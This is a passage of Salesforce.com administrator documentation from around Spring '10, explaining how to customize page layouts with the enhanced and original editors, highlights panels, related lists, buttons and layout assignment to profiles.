Note: If you only have the “View Setup” permission, the Edit button is not available. Click the name of the page
layout to view it instead.
Alternatively, when you are on a detail page, click the Edit Layout link in the upper right corner to quickly customize the
page layout. Salesforce.com displays the Edit Layout link only to users with the “Customize Application” permission.
For more information on the enhanced page layout editor, see Customizing Page Layouts with the Enhanced Page Layout
Editor on page 1016.
For more information on the original page layout editor, see Customizing Page Layouts with the Original Page Layout Editor
on page 1029.
See Also:
Customizing Related Lists
Managing Page Layouts
Overview of Page Layouts and Field-Level Security
Restricting Price and Quantity Editing on Opportunity Products
Editing Multi-Line Layouts for Opportunity Products
Setting Up Your Customer Portal
1015
Customize Overview of Page Layouts and Field-Level Security
The enhanced page layout editor is a feature-rich WYSIWYG tool that allows you to customize your organization’s page
layouts for detail and edit pages in Salesforce.com, the Self-Service Portal, and the Salesforce.com Customer Portal. The
enhanced page layout editor is enabled by default and provides all of the functionality of the original page layout editor, as
well as additional functionality and an easier-to-use interface. To access the page layout editor, see Customizing Page Layouts
on page 1014.
Note: To access the enhanced page layout editor, see Customizing Page Layouts on page 1014.
The enhanced page layout editor consists of two parts: a palette on the upper portion of the screen and the page layout on the
lower portion of the screen. The palette contains the user interface elements, such as fields, buttons, links, related lists, and
any additional elements that are available for you to add to the page layout.
When working with enhanced page layout editor:
• To add a user interface element to the page layout, select the category to which the element belongs on the left column of
the palette, and drag the element from the palette to the page layout.
• To remove a user interface element from the page layout, drag the element from the page layout to the right side of the
palette, or click the x icon ( ) next to the element.
• Use the undo and redo buttons to step backwards and forwards, respectively.
• Use the following keyboard shortcuts:
- Undo = CTRL+Z
- Redo = CTRL+Y
- Quick Save = CTRL+S
• To select multiple elements individually, use CTRL+click. To select multiple elements as a group, use SHIFT+click .
• To change the properties of any element on the page layout, double-click the element or click the wrench icon ( ) next
to it. You cannot change the properties of elements in the palette.
• To make a field read-only or required, double-click the field in the page layout and select the Read-Only or Required
checkboxes.
• To gain vertical space when working on moving items around within the page layout, click the arrow beneath the palette
to collapse it.
• To access the other layouts for an object when viewing or customizing an object with multiple page layouts, click the page
layout name at the top of the page and select another layout to view.
• To change the name of the page layout, add personal and public tags if available, and display standard object checkboxes
on the page layout, click Layout Properties.
1016
Customize Overview of Page Layouts and Field-Level Security
• To review the page layout, click Preview As. From the preview in Enterprise, Unlimited, and Developer Editions, select
a profile to see how the pages will look for users with different profiles. Note that most related lists’ columns preview
without data.
• To quickly locate any item in the palette, use the Quick Find box. The Quick Find box is especially useful for page layouts
that have large numbers of items available in the palette.
• To save your changes and continue editing the page layout, click Quick Save.
• To save your changes when you are done customizing the page layout, click Save. If you navigate away from your page
layout before clicking save, your changes will be lost.
• To create a copy of your page layout, click Save and select Save As.
• To choose which related records display in the console's mini view, click Mini Console View. (Available in Professional,
Enterprise, Unlimited, and Developer Edition organizations only.)
Note: You cannot choose Mini Console View for the Close Case Layout or the Log a Case Page and View Cases
Page layouts on the Self-Service Portal.
• To define the mini page layouts of the records that appear in the mini view of the console, click Mini Page Layout. The
mini page layout also defines the layout of the hover details and event overlays. (Available in Professional, Enterprise,
Unlimited, and Developer Edition organizations only.)
Note: You cannot define mini page layouts for the Close Case Layout or the Log a Case Page and View Cases
Page layouts on the Self-Service Portal.
See Also:
Customizing Page Layouts
Notes on Using the Enhanced Page Layout Editor
Enhanced Page Layout Editor User Interface Elements
Customizing Related Lists
Managing Page Layouts
Overview of Page Layouts and Field-Level Security
Restricting Price and Quantity Editing on Opportunity Products
Editing Multi-Line Layouts for Opportunity Products
Setting Up Your Customer Portal
1017
Customize Overview of Page Layouts and Field-Level Security
Customizing Page Layouts with the Enhanced Page Layout Editor—New Opportunity Page Pilot
Note: The highlights panel is part of the new opportunity page, which will be available later in Spring '10 through a
pilot program. For information on enabling this feature for your organization, contact salesforce.com.
Use the enhanced page layout editor to customize your organization’s page layouts for detail and edit pages in Salesforce.com.
Navigating the Enhanced Page Layout Editor
There are two distinct sections of the page: a palette at the top and a page layout below.
The palette contains the user interface elements that you can add to the page layout, including fields, buttons, links, and
related lists
• At the top, a highlights panel displays key information at a glance. The highlights panel is a table of up to four
columns that appears at the top of the opportunity page. Each column has one or two fields that you can customize
to suit your business needs. Hover over the highlights panel and click (or double-click the highlights panel) to
edit.
• The lower portion displays detail sections and related lists:
- Drag and drop items between the palette and the page layout or within the page layout to add, remove, or move
elements.
- Use CTRL+click and SHIFT+click to select multiple elements.
• To add user interface elements to page layouts: In the palette's left column, select the element category, then drag
elements from the palette onto the page layout.
• To save page layouts:
- To save your changes and continue editing the page layout, click Quick Save.
- When you've finished editing the page layout, click Save. Don't navigate away from the page layout before clicking
Save or you'll lose your changes.
1018
Customize Overview of Page Layouts and Field-Level Security
• To change the format and fields in the highlights panel, see Customizing Highlights Panels—New Opportunity
Page Pilot on page 1019.
• To move elements in the detail sections and related lists, drag and drop them into the new location.
• To remove elements from page layouts, hover over the element and click (or drag elements from the page layout
onto the right side of the palette).
• To change element properties (for example, to make fields read-only or required), hover over the element and click
or double-click the element.
• To edit other opportunity page layouts (in Enterprise, Unlimited, and Developer Editions), click the page layout
name at the top of the page and select the layout.
• To rename page layouts and display standard object checkboxes, click Layout Properties.
• To see how page layouts appear for users, click Preview As. In Enterprise, Unlimited, and Developer Editions, select
a profile to see how the pages look for different user profiles. The preview shows sample information and most related
lists’ columns are empty. Currently, the highlights panel doesn't appear in the page layout preview.
• To copy page layouts, click Save and select Save As.
• To define how hover details appear, click Mini Page Layout (in Professional, Enterprise, Unlimited, and Developer
Editions).
See Also:
Customizing Highlights Panels—New Opportunity Page Pilot
New Opportunity Page—Pilot
Using Opportunities — New Opportunity Page Pilot
Note: The highlights panel is part of the new opportunity page, which will be available later in Spring '10 through a
pilot program. For information on enabling this feature for your organization, contact salesforce.com.
The highlights panel is a table of up to four columns that appears at the top of the opportunity page. Each column has one
or two fields that you can customize to suit your business needs. Salesforce.com creates a default highlights panel for each
page layout. Hover over the highlights panel and click (or double-click the highlights panel) to edit.
Highlights Panel Fields and Format
The Highlights panel displays standard and custom fields, and columns. The following formatting rules apply:
1019
Customize Overview of Page Layouts and Field-Level Security
- Top fields appear in bold and in a larger font than bottom fields.
- Blank fields appear as follows:
- Top fields—appear blank (except when top fields are blank because users don't have permission to view them).
- Bottom fields—the top field expands to fill the column
- Both fields—the column appears blank
• Users see only the fields that they have permission to view.
If users can't see:
- Top fields—the bottom field replaces the top field and expands to fill the column
- Bottom fields—the top field expands to fill the column
- Any fields in a column—the column is removed
• To add or change fields, click the appropriate column and select fields from the Top Field and Bottom Field
lists:
- Fields must also be on the detail page layout. If fields you want to add aren't listed, add them to the detail page
layout.
- Rich text area (RTA) and custom long-text area fields are not supported in the highlights panel, even if they are
included in the detail page layout.
- Fields can appear once per highlights panel. Fields already in use appear grey in the field-selection lists.
• To remove fields, click the appropriate column and select -None- from the field-selection lists
• To add columns, click Add Column.
•
To remove columns, hover over the column and click .
• To save highlights panel changes, click OK in the Highlights Panel Properties dialog box. When you've finished
editing the page layout, click Save. Don't navigate away from the page layout before clicking Save or you'll lose your
changes.
Note: Ensure highlights panels contain at least one field; saving empty highlights panels causes page layout
errors.
1020
Customize Overview of Page Layouts and Field-Level Security
See Also:
Customizing Page Layouts with the Enhanced Page Layout Editor—New Opportunity Page Pilot
New Opportunity Page—Pilot
Using Opportunities — New Opportunity Page Pilot
Note: The new opportunity page is available through a pilot program. For information on enabling this feature for
your organization, contact salesforce.com.
This pilot program provides an improved opportunity detail page so you can get to the information you need and update the
details more quickly.
Key Features
Highlights panel
View key information at a glance. You can quickly assess deal status and make better-informed decisions about
each opportunity. The highlights panel is a table of up to four columns that appears at the top of the opportunity
page. Each column has one or two fields that you can customize to suit your business needs.
End-User Customization
Quickly and easily navigate and personalize your page using the drag and drop side tabs. For example, you can
reorder and hide related lists on the opportunity page.
Chatter
See an opportunity's latest updates and comments, or review a deal's history using this new feature.
Recommendations
Tap into your sales organization's knowledge by connecting with people who won similar deals. The
Recommendations tool finds similar opportunities with a status of Closed/Won and displays the opportunity
1021
Customize Overview of Page Layouts and Field-Level Security
owners. Note that while you can view the owners of opportunities that you don't have permission to view, you
can't access the opportunity details.
Browser Support
You can use the new opportunity page in these browsers:
• Internet Explorer 7 or 8
• Firefox 3.0.x
• Safari 3.2.x
Prerequisite Settings
We ask you to enable the required new user interface theme:
Salesforce.com enables these required user interface settings during the pilot program:
• Collapsible Sidebar
• Enhanced Page Layout Editor
Limitations
This is a pilot program; limitations include:
• Currently, you can't tag opportunities using the new opportunity page.
• The new opportunity page is not available in:
- The console
- The Customer Portal, partner portal, and Self-Service portal
See Also:
Using Opportunities — New Opportunity Page Pilot
Customizing Page Layouts with the Enhanced Page Layout Editor—New Opportunity Page Pilot
Customizing Highlights Panels—New Opportunity Page Pilot
1022
Customize Overview of Page Layouts and Field-Level Security
The following list describes the enhanced page layout editor user interface elements and how you can use them in your page
layout.
Tip: Create the appropriate buttons, custom links, fields, custom s-controls, and Visualforce pages before editing
your page layout.
Blank Spaces
You can add and move blank spaces to any section on the page layout. Use blank spaces to visually align and distinguish
elements on the page.
To add a blank space, drag the Blank Space user interface element from the palette to the desired location on the page
layout. The Blank Space user interface element is the first option in the palette when you select the Fields, Custom
Links, Custom S-Controls, or Visualforce Pages category on the palette.
Note: If you use the original page layout editor to view a page layout that was created in the enhanced page
layout editor, the original page layout editor will show any blank spaces you added. You cannot move or add
blank spaces in the original page layout editor, but you can remove them by dragging them to the box on the
right.
Buttons
The top of the page layout has a place for standard buttons and another for custom buttons. You can control which
standard and custom buttons are displayed and the order in which the custom buttons appear; however, you cannot
rearrange the order in which the standard buttons appear.
To add a custom or standard button to the page layout, select the Buttons category on the palette and drag one or more
buttons from the palette to the buttons section on the page layout. Standard buttons must go in the standard buttons
area, and custom buttons must go in the custom buttons area.
To remove a standard or custom button from the page layout, drag the button to the palette.
For information on buttons in related lists, see Related Lists.
Custom Links
To add custom links to the page layout, select the Custom Links category on the palette and drag one or more custom
links from the palette to the Custom Links section on the page layout.
To remove a custom link from the page layout, drag the custom link to the palette.
1023
Customize Overview of Page Layouts and Field-Level Security
Fields
To add fields to the page layout, select the Fields category on the palette and drag one or more fields from the palette
to any section on the page layout, except for sections reserved for custom buttons or links and related lists.
A field might display one or more of the following icons:
• The field must have a value to save the record but is not required on the page layout itself.
• The field must be included on the page layout because either an administrator configured the field as universally
required or Salesforce.com automatically requires the field. Although you cannot remove such fields, you can move
them to different locations.
• The field is a controlling field.
• The field is a dependent field.
• The field is read only.
To set which fields are required and read only, select one or more fields and click the wrench icon ( ) on any of the
selected fields.
• The field properties of some standard fields cannot be changed. Custom fields can only be changed if they are not
universally required fields.
• Fields marked as read only are always editable by administrators and users with the “Edit Read Only Fields” permission.
• If you make a picklist field read only, all new records will contain the default value for that picklist.
• Auto-number fields are always read only.
• If you mark the opportunity Probability field as read only, the Probability value will still be updated
automatically when a user changes the Stage value of an opportunity.
• In Personal, Contact Manager, Group, and Professional Editions, page layouts control which fields users can access
in related lists, list views, reports, Connect Offline, email and mail merge templates, custom links, and when
synchronizing data. In Enterprise, Unlimited, and Developer Editions, this access is controlled by field-level security.
Field-level security settings override any field properties you set on the page layout if the field-level security is more
restrictive than the page layout setting. See Setting Field-Level Security on page 540.
• In the organization-wide import wizards for accounts, contacts, and leads, administrators have access to import into
any field, even if a field is hidden or read only in their page layout or field-level security settings. Individual users can
import only into the fields that are accessible to them via their page layout or field-level security settings.
• For information on setting which fields display for users in search results, see Customizing Search Layouts on page
1044.
Related Lists
To add related lists to the page layout, select the Related Lists category on the palette and drag one or more related lists
from the palette to the desired location on the page layout. A page layout can have up to 100 related lists.
You can place related lists at the bottom of the page layout. To move a related list on the page layout, drag the handle
located above the related list.
To customize a related list, double-click the related list handle or click the wrench icon ( ) inside the handle. Use the
related list properties to:
• Specify which fields display as columns on the related list, the order in which they appear, and the sort order of the
records in the related list. In Professional, Enterprise, and Unlimited Editions, you can also opt to apply the column
information to other page layouts for the same type of object.
1024
Customize Overview of Page Layouts and Field-Level Security
• Specify which standard and custom buttons appear on the related list.
When working with related lists on page layouts, note the following:
• Some related lists are not customizable because they link to data rather than store it. Salesforce.com denotes related
lists that are not customizable on the page layout.
• You cannot add related lists to the page layouts for the User object.
• You can also enable related list hover links for your organization so that record detail pages include links for each
related list at the top of the page. Users can hover the mouse over a related list hover link to display the corresponding
related list in an interactive overlay that allows users to quickly view and manage the related list items. Users can also
click a related list hover link to jump down to the content of the related list without having to scroll down the page.
To enable related list hover links, see Customizing User Interface Settings on page 1247.
• In Professional, Enterprise, Unlimited, and Developer Edition, individual users can customize which related lists
display for their personal use. Administrators can overwrite these user customizations and apply the related list
configuration in the page layout to all users, even if they already customized their display. To overwrite users' related
list customizations, click Yes on the Overwrite Users' Personal Related List Customizations popup window, which
appears when saving a page layout if you moved or added a related list.
Custom S-Controls
To add s-controls to the page layout, select the Custom S-Controls category on the palette and drag one or more
s-controls from the palette to any section on the page layout, except for sections reserved for custom buttons or links
and related lists. A page layout can have up to 20 s-controls.
To change the properties of an s-control, double-click the s-control or click its wrench icon ( ) and set the following
attributes:
Sections
You can add and move sections anywhere above the related lists on the page layout. The sections you add can contain
fields, s-controls, and blank spaces. In addition, each page layout has a default section that can only contain custom links
and blank spaces. You can change the location of the custom link section, but you cannot remove it from the page.
To add a section, drag the Section user interface element from the palette to the desired location on the page layout.
The Section user interface element is the second option in the palette when you select the Fields or Custom S-Controls
category on the palette.
To change the attributes of a section, double-click the section or select its associated wrench icon ( ). You can:
• Enter a name for the section. Note that names of some standard page sections cannot be changed.
• Specify whether the section should have one or two columns.
• Specify the order in which users will be able to tab through the items in that section.
• Specify whether the section heading should be shown on the detail and edit pages.
1025
Customize Overview of Page Layouts and Field-Level Security
Tags
If tags are enabled in your organization, click Layout Properties and use the checkboxes to indicate whether personal
and public tags should be included in the header section of the page layout. Users cannot tag a record if neither personal
nor public tags are included in the header section. Also, the positioning of personal and public tags in the header cannot
be modified.
Visualforce Pages
To add Visualforce pages to the page layout, select the Visualforce Pages category on the palette and drag one or more
Visualforce pages from the palette to any section on the page layout, except for sections reserved for custom links and
related lists. A page layout can have up to 20 Visualforce pages.
You can add a Visualforce page to a page layout only if the standard controller on the Visualforce page is set to the object
for which you are creating the page layout. If you do not have any Visualforce pages with a standard controller set to
that object, the Visualforce Pages category does not appear in the palette.
See Also:
Notes on Using the Enhanced Page Layout Editor
Customizing Page Layouts with the Enhanced Page Layout Editor
When using the enhanced page layout editor, note the following:
• Some elements can only be moved to certain locations on the page layout.
• Elements that are already on the page layout still appear on the palette but are inactive. When you click an inactive element
on the palette, Salesforce.com highlights the element on the page layout.
• When you select a category of elements on the palette, such as Related Lists or Custom Links, Salesforce.com jumps to
the part of the page layout where you can add those elements.
• The following table describes which browsers support the enhanced page layout editor:
Browser Notes
Mozilla Firefox version 3.0 Firefox users with the “Customize Application” permission
must have version 3.0.x to view and edit page layouts.
Note: Users with the “View Setup and
Configuration” permission can view but not edit
page layouts using Firefox version 2.
1026
Customize Overview of Page Layouts and Field-Level Security
Microsoft® Internet Explorer versions 6.0, 7.0, and 8.0 Internet Explorer 6 does not perform well with advanced
Web interfaces such as the enhanced page layout editor.
Salesforce.com strongly recommends upgrading to Mozilla
Firefox version 3.0, Apple® Safari version 3.2, or Internet
Explorer 8.0.
Important: Using Internet Explorer with the
Internet Explorer Developer Toolbar impacts the
performance of the enhanced page layout editor.
Disable the toolbar before using the enhanced page
layout editor as follows:
• If the original page layout editor is enabled, users can click on the page layout name to access the detail page of the page
layout. The enhanced page layout editor does not have detail pages, as all the detail page functionality is always available
on the enhanced editor. Salesforce.com displays a read-only version of the enhanced page layout editor to users with the
“View Setup” permission.
Note: The read-only view of the page layout does not display field types and lengths in hover details.
• Some standard objects have checkboxes that are specific to page layouts for that object. The following table lists those
standard object checkboxes. To configure how Salesforce.com displays the checkboxes, click Layout Properties when
customizing the page layout. Use the Select by default checkbox associated with a checkbox if you want Salesforce.com
to automatically select the option when a user accesses the edit page.
Object Checkboxes
Case - Case assignment checkbox — Displays the
Assign using active assignment rules
checkbox on case edit pages.
- Email notification checkbox — Displays the
Send notification email to contact checkbox
on case edit pages.
1027
Customize Overview of Page Layouts and Field-Level Security
• The Custom Links, Custom S-Controls, and Visualforce Pages categories only appear in the palette if you have defined
those types of elements for the object for which you are defining a page layout.
• Page layouts for the user object only include custom fields, custom links, s-controls, and Visualforce pages. Tagging, related
lists, custom buttons, and standard field customizations are not included on page layouts for the user object. Also, field-level
security is only available for custom fields on the user object.
• If a dependent lookup is above its controlling field on a page layout, make its lookup filter optional or redesign the page
layout. Seeing a required dependent lookup above its controlling field on a page layout may confuse users who typically
start from the top of the page when entering data.
• You can define mini page layouts for the user object; however, you cannot add standard fields or related lists. Also, a
customized mini page layout will not display in the console. For more information, see Defining Mini Page Layouts on
page 2368.
• When editing a person account page layout:
- If you add Shipping Address next to Billing Address in the Address Information section, a link will display
on the person account edit page that allows you to copy the billing address to the shipping address. Also, an equivalent
link appears if you add Other Address to the Address Information section.
- Contact fields and related lists are available on person account page layouts. However, contact custom links and custom
buttons are not available.
• Salesforce.com recommends creating no more than 200 page layouts. While there is no limit, organizations may have
difficulty managing their page layouts if they exceed 200.
1028
Customize Overview of Page Layouts and Field-Level Security
• Salesforce.com gives administrators the option to view a short video tutorial the first time they access the enhanced page
layout editor. This video is also available from the Video Tutorial link next to the Help for this Page link in the editor.
See Also:
Enhanced Page Layout Editor User Interface Elements
Customizing Page Layouts with the Enhanced Page Layout Editor
The original page layout editor allows you to customize your organization’s page layouts for detail and edit pages in
Salesforce.com, the Self-Service Portal, and the Salesforce.com Customer Portal.
Note: Salesforce.com recommends using the enhanced page layout editor instead of the original page layout editor.
For more information, see Customizing Page Layouts with the Enhanced Page Layout Editor on page 1016.
1. For standard object page layouts, select Setup ➤ Customize, select the object, and choose Page Layouts. For custom
object page layouts, select Setup ➤ Create, select the object, and scroll to the Page Layouts section.
2. In Enterprise, Unlimited, and Developer Edition organizations, click Edit next to the page layout you want to customize.
In all other editions, click Edit at the top of the page.
3. If tags are enabled in your organization, specify whether personal and public tags should be included in the header section
of the page layout. Users cannot tag a record if neither personal nor public tags are included in the header section:
• To add personal or public tags to the page layout, select Header Items from the View drop-down list, and then drag
the Personal Tags or Public Tags items to the Header Section of the layout. Note that you cannot change the order in
which personal and public tags appear when both are in the Header Section at the same time.
• To remove tags from the page layout, drag the Personal Tags and Public Tags items from the Header Section of the
page layout to the area under the View drop-down list.
• To hide any standard button, deselect the checkbox next to the button name.
• To add or remove a custom button, select the button in the Available Buttons list, and click Add or Remove.
• Sort custom buttons by selecting them and clicking Up or Down.
• To undo your customizations and restore default settings, click Revert to Defaults.
• Click OK to close the popup when you are done.
1029
Customize Overview of Page Layouts and Field-Level Security
5. To arrange fields, custom s-controls, Visualforce pages, custom links, and related lists on the layout, select one or more
items from the box on the right and drag them to the desired location. You can add up to 20 s-controls, 20 Visualforce
pages, and 100 related lists on a page layout. There are no limits on fields and custom links.
Note:
• You can add a Visualforce page to a page layout only if the standard controller on the Visualforce page is set
to the object for which you are creating the page layout. If you do not have any Visualforce pages with a standard
controller set to that object, the Visualforce Pages category does not appear in the palette.
• Items that are not in the page layout are displayed in the scrolling box on the right-hand side.
• Use the legend to determine what fields are required, dependent, controlling, or have other attributes that may
affect your page layout decisions.
6. To set which fields are required and read only, select one or more fields and click Edit Properties.
• The field properties of some standard fields cannot be changed. Custom fields can only be changed if they are not
universally required fields.
• Fields marked as read only are always editable by administrators and users with the “Edit Read Only Fields” permission.
• If you make a picklist field read only, all new records will contain the default value for that picklist.
• Auto-number fields are always read only.
• If you mark the opportunity Probability field as read only, the Probability value will still be updated automatically
when a user changes the Stage value of an opportunity.
• In Enterprise, Unlimited, and Developer Editions, field-level security settings override any field properties you set here
if the field-level security is more restrictive than the page layout setting. See Setting Field-Level Security on page 540.
7. To change the properties of an s-control or Visualforce page, double click it and set the following attributes:
8. To organize the page using sections, click Edit next to an existing page section, or click Create New Section to create a
new page section.
• Enter a name for the section. Note that names of some standard page sections cannot be changed.
• Set whether the section should have one or two columns.
• Set the order in which users will be able to tab through the items in that section.
• Set whether the section name should be shown on the detail and edit pages.
9. To customize the related lists on the page layout, double-click the related list in the Related List Section.
• Select one or more fields and use the arrows to add or remove the fields to the related list columns on the page layout,
and to define the order in which the related list columns display. You can include up to 10 fields per related list.
• Use CTRL+click to select multiple fields individually.
• Use SHIFT+click to select multiple fields as a group.
1030
Customize Overview of Page Layouts and Field-Level Security
• Select a field from the Sort By drop-down list to sort the items in the related list, which will be displayed in ascending
order unless you select Descending. The default sort order varies per record. The Sort By drop-down is not available
for activities and opportunity products.
• If necessary, select additional page layouts to apply your related list customizations to.
• Select or deselect the checkbox next to any standard button name to customize which standard buttons display in the
related list.
• To customize which custom buttons display in the related list, select the button and click Add or Remove. Sort custom
buttons by selecting them and clicking Up or Down.
Note: To create a custom button for the related list, see Defining Custom Buttons and Links on page 990. The
custom button must be defined for the object contained in the related list, instead of the parent object, and the
button Type must be List Button. For example, to display a custom button on the Contacts related list of an
account, define the custom button for contacts, not accounts.
Some related lists are not customizable because they link to data rather than store it. You can move your cursor over any
related list section to see if it is customizable. Also, lookup fields are not available for display on their corresponding lookup
related list. For example, the case lookup field on an account page layout is not available when editing the cases related
list.
Note: You can also enable related list hover links for your organization so that record detail pages include links
for each related list at the top of the page. Users can hover the mouse over a related list hover link to display the
corresponding related list in an interactive overlay that allows users to quickly view and manage the related list
items. Users can also click a related list hover link to jump down to the content of the related list without having
to scroll down the page. To enable related list hover links, see Customizing User Interface Settings on page 1247.
10. Select the Overwrite users’ personal related list customization to apply the related lists in the page
layout to all users, even if they have already customized their display.
11. Click Preview to review the page layout. From the preview in Enterprise, Unlimited, and Developer Editions, select a
profile to see how the pages will look for users with different profiles. Note that most related lists’ columns preview without
data.
12. Click Save to finish. Alternatively, click Quick Save to save and continue editing the page layout.
Professional, Enterprise, Unlimited, and Developer Edition organizations can also click:
• Mini Console View to choose which related records display in the console's mini view.
• Mini Page Layout to define the mini page layouts of the records that appear in the mini view of the console.
Note: You cannot define mini console views or mini page layouts for the Close Case Layout or the Log a Case Page
and View Cases Page layouts on the Self-Service Portal.
In Enterprise, Unlimited, and Developer Editions, you can now assign which page layouts to display for different profile and
record type combinations (see Assigning Page Layouts on page 1036). You can also set field-level security to restrict field access
further (see Setting Field-Level Security on page 540).
1031
Customize Overview of Page Layouts and Field-Level Security
- Select Task Email Notification checkbox by default controls whether the Send Notification
Email checkbox is selected by default when users create or edit a task. Note that a user's personal preference for
defaulting the state of the checkbox takes precedence over the organization-wide setting. For more information, see
Creating Tasks on page 133.
• When customizing page layouts for cases, you can select the following checkboxes:
- Case assignment checkbox to display the Assign using active assignment rules checkbox on case
edit pages.
- Email notification checkbox to display the Send notification email to contact checkbox on case
edit pages.
• Page layouts for the user object only include custom fields, custom links, s-controls, and Visualforce pages. Tagging, related
lists, custom buttons, and standard field customizations are not included on page layouts for the user object. Also, field-level
security is only available for custom fields on the user object.
• You can define mini page layouts for the user object; however, you cannot add standard fields or related lists. Also, a
customized mini page layout will not display in the console. For more information, see Defining Mini Page Layouts on
page 2368.
• In the organization-wide import wizards for accounts, contacts, and leads, administrators have access to import into any
field, even if a field is hidden or read only in their page layout or field-level security settings. Individual users can import
only into the fields that are accessible to them via their page layout or field-level security settings.
• In Personal, Contact Manager, Group, and Professional Editions, page layouts control which fields users can access in
related lists, list views, reports, Connect Offline, email and mail merge templates, custom links, and when synchronizing
data. In Enterprise, Unlimited, and Developer Editions, this access is controlled by field-level security.
• For information on setting which fields display for users in search results, see Customizing Search Layouts on page 1044.
• In Professional, Enterprise, Unlimited, and Developer Edition, individual users can customize which tabs and related lists
display for their personal use. See Customizing Your Display on page 34.
• When editing a person account page layout:
- If you add Shipping Address next to Billing Address in the Address Information section, a link will display
on the person account edit page that allows you to copy the billing address to the shipping address. Also, an equivalent
link appears if you add Other Address to the Address Information section.
- Contact fields and related lists are available on person account page layouts. However, contact custom links and custom
buttons are not available.
• Some items can only be moved to certain sections on the page layout. For example, you can drag a custom s-control to any
field section on the page layout but not a Related List Section or Button Section.
• Create the appropriate buttons before editing your page layout. For example, create an account custom button for the detail
page and a contact custom list button before putting them both on an account page layout. For implementation tips and
best practices on custom buttons, see Custom Button Considerations.
1032
Customize Overview of Page Layouts and Field-Level Security
• If you use the original page layout editor to view a page layout that was created in the new page layout editor, the original
page layout editor will show any blank spaces you added. You cannot move or add blank spaces in the original page layout
editor, but you can remove them by dragging them to the box on the right.
See Also:
Customizing Page Layouts with the Enhanced Page Layout Editor
Customizing Related Lists
Managing Page Layouts
Overview of Page Layouts and Field-Level Security
Restricting Price and Quantity Editing on Opportunity Products
Editing Multi-Line Layouts for Opportunity Products
Setting Up Your Customer Portal
When customizing page layouts, you can control which standard and custom buttons are displayed and the order in which
the custom buttons are shown. To customize the buttons on record detail pages:
1. Click Setup ➤ Customize, select the appropriate activity or tab link, and choose the Page Layouts link.
For custom objects, click Setup ➤ Create ➤ Objects, and select the desired custom object.
2. Click Edit next to the page layout you want to customize.
3. Do one of the following:
• In the original page layout editor, double-click the Detail Page Buttons item in the Button Section.
- To hide any standard button, deselect the checkbox next to the button name.
- To add or remove a custom button, select the button in the Available Buttons list, and click Add or Remove.
- Sort custom buttons by selecting them and clicking Up or Down.
- To undo your customizations and restore default settings, click Revert to Defaults.
- Click OK to close the popup when you are done.
• In the enhanced page layout editor, select the Buttons category on the palette and drag one or more buttons from the
palette to the buttons section on the page layout. Standard buttons must go in the standard buttons area, and custom
buttons must go in the custom buttons area. To remove a standard or custom button from the page layout, drag the
button to the palette.
1033
Customize Overview of Page Layouts and Field-Level Security
5. Click Save.
See Also:
Customizing Page Layouts
Overriding Standard Buttons and Tab Home Pages
Defining Custom Buttons and Links
To customize the buttons, columns displayed, column order, and record sort order of related lists on record detail pages in
Salesforce.com and the Salesforce.com Customer Portal:
• Select one or more fields and use the arrows to add or remove the fields to the related list columns on the page layout,
and to define the order in which the related list columns display. You can include up to 10 fields per related list.
• Use CTRL+click to select multiple fields individually.
• Use SHIFT+click to select multiple fields as a group.
• Select a field from the Sort By drop-down list to sort the items in the related list, which will be displayed in ascending
order unless you select Descending. The default sort order varies per record. The Sort By drop-down is not available
for activities and opportunity products.
• If necessary, select additional page layouts to apply your related list customizations to. Only layouts that include this
related list appear in the list. Layouts that include related lists with the same customizations as the current layout had
when you opened are selected by default.
Lookup fields are not available for display on their corresponding lookup related list. For example, the case lookup field
on an account page layout is not available when editing the cases related list.
4. To customize which standard buttons display in the related list, select or deselect the checkbox next to any standard button
name.
Note: To view the buttons in the enhanced page layout editor, click the plus sign in the Buttons section.
• To add or remove a custom button, select the button and click Add or Remove.
1034
Customize Overview of Page Layouts and Field-Level Security
To create a custom button for the related list, see Defining Custom Buttons and Links on page 990. The custom button
must be defined for the object contained in the related list, instead of the parent object, and the button Type must be List
Button. For example, to display a custom button on the Contacts related list of an account, define the custom button for
contacts, not accounts.
6. If necessary, click Revert to Defaults to undo any customizations and use the default Salesforce.com settings in the related
list.
7. Click OK to store your customizations. Changes are not saved until you click Save on the page layout.
8. Select the Overwrite users’ personal related list customization to apply the related lists in the page
layout to all users, even if they have already customized their display.
9. Click Preview to review the page layout. From the preview in Enterprise, Unlimited, and Developer Editions, select a
profile to see how the pages will look for users with different profiles.
10. Click Save.
Note: You can also enable related list hover links for your organization so that record detail pages include links for
each related list at the top of the page. Users can hover the mouse over a related list hover link to display the
corresponding related list in an interactive overlay that allows users to quickly view and manage the related list items.
Users can also click a related list hover link to jump down to the content of the related list without having to scroll
down the page. To enable related list hover links, see Customizing User Interface Settings on page 1247.
See Also:
Overview of Page Layouts and Field-Level Security
Creating a Many-to-Many Relationship
You can customize the columns that display when you click Edit All in the Products related list of an opportunity detail page.
• Select one or more fields and use the Add and Remove arrows to move them between the lists. Also, click the Up and
Down arrows to change the order of the Selected Fields list.
• Use CTRL+click to select multiple fields individually.
• Use SHIFT+click to select multiple fields as a group.
1035
Customize Overview of Page Layouts and Field-Level Security
1. Select Setup ➤ Customize, select the appropriate activity or tab link, and choose the Page Layouts link.
2. Click Del next to the page layout name.
When a page layout is deleted, its mini page layout is also deleted.
3. Choose another page layout to replace the deleted layout for any profile and record type combinations. Users with those
profiles and record types will see the new page layout.
4. Click Replace.
See Also:
Managing Page Layouts
Overview of Page Layouts and Field-Level Security
Setting Up the Console
After defining page layouts, assign which page layouts users see. A user’s profile determines which page layout he or she sees.
In addition, if your organization is using record types for a particular tab, the combination of the user’s profile and the record
type determine which page layout is displayed.
To assign page layouts:
1. Click Setup ➤ Customize, select the appropriate activity or tab link, and choose Page Layouts or Record Types.
Alternatively, select Setup ➤ Manage Users ➤ Profiles, and select a profile name.
1036
Customize Overview of Page Layouts and Field-Level Security
2. From the page layout or record type list page, click Page Layout Assignment. From the profile, click View Assignment
next to any tab name in the Page Layouts section.
3. Click Edit Assignment.
4. Use the table to specify the page layout for each profile. The table displays the page layout assignments for each profile. If
your organization uses record types, a matrix displays a page layout selector for each profile and record type.
When selecting page layout assignments:
• Click a cell, column, or row heading to select all the table cells in that column or row.
• Press SHIFT+click to select multiple adjacent table cells, columns, or rows.
• Press CTRL+click to select multiple nonadjacent table cells, columns, or rows.
• Click any cell and drag to select a range of cells.
• Click Next or Prev to view another set of record types.
Tip: Selected page layout assignments are highlighted. Page layout assignments you change are italicized until
you save your changes.
5. If necessary select another page layout to assign from the Page Layout To Use drop-down list and repeat the previous
step for the new page layout.
6. Click Save.
To verify that users have the correct access to fields based on the page layout and field-level security, you can check the field
accessibility grid; see About Field Accessibility on page 1037.
See Also:
Managing Page Layouts
Managing Profiles
